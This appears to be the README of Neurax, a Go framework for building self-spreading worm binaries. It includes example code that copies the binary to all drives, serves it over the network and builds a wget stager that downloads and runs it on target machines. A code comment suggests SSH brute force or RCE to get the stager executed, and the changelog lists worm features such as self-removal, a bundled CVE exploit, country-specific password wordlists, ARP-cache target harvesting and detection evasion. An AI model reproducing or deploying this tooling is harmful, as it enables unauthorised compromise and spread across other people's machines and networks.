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neurax

A framework for constructing self-spreading binaries

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Neurax



A framework that aids in creation of self-spreading software



Overview

With help of Neurax, Golang binaries can spread on LAN/WAN without using any external servers.

Diverse config options and command stagers allow rapid propagation across various wireless environments.

Example code

package main
import . "github.com/redcode-labs/Neurax"

func main(){

  //Specify serving port and stager to use
  Nrx.Config.Port = 5555
  Nrx.Config.Stager = "wget"

  //Start a server that exposes the current binary in the background
  go NeuraxServer()
 
  //Copy current binary to all logical drives
  NeuraxDisks()

  //Create a command stager that should be launched on target machine
  //It will download, decode and execute the binary
  cmd_stager := NeuraxStager()

  /* Now you have to somehow execute the command generated above.
     You can use SSH bruteforce, some RCE or whatever else you want ;> */

}



New in v. 2.X (separate sub-project)

  • Refactor: abandoned framework-like approach in favour of a ready-to-use binary
  • Generic wget stager for all UNIX targets
  • Single config file to tweak worm's behaviour on the fly
  • Automatic self-removal via unlinkat(2)
  • Example LinuxKI CVE exploit to supplement network spreading capabilities
  • JSON config file is downloaded and evaluated
  • Minimalistic re-write of host harvester

New in v. 2.5

  • Optional background execution of the second-stage binary (N.StagerBg)
  • Command stager saves and executes in context-local path
  • It also removes the downloaded binary right after successful execution
  • Removed synchronized command execution mechanism for speed/stability reasons. I will come up with a decent alternative prior to next release.
  • N.NoInfectCheck to disable checking if host is already infected.
  • Single-execution policy on target machine, enforced with an exclusive file mutex placed inside NeuraxServer().
  • Added a nested goroutine for serving the binary
  • New httrack stager for Linux
  • Commented-out common wordlist for detection evasion
  • Command stager can wait before removing the binary (N.StagerRemovalDelay)

New in v. 2.0

  • New wordlist mutators + common passwords by country
  • Improvised passive scanning
  • .FastScan option that makes active scans a bit quicker
  • Wordlists are created strictly in-memory
  • NeuraxScan() accepts a callback function instead of channel as an argument.
  • NeuraxScan() scans in infinite loop with possibility to set interval between each scan of whole subnet/pool of targets
  • Reverse-DNS lookup for targets that are not in IP format
  • Extraction of target candidates from ARP cache
  • Possibility to scan only a selected list of targets + prioritizing specific targets (such as default gateways)
  • Possibility to specify interface and timeout when using passive network scan.
  • Improved command stager (can be optionally executed with elevated privileges / multiple times)
  • Few changes of options' names
  • NeuraxConfig. became N. (cause it's shorter to type)
  • Functions for random memory allocation + binary migration
  • Possibility to chain multiple stagers (ex. wget + curl)
  • Volume and complexity of created wordlist can be easily tuned (with options such as .WordlistExpand)
  • Possibility to set time-to-live of created binary

List of config entries

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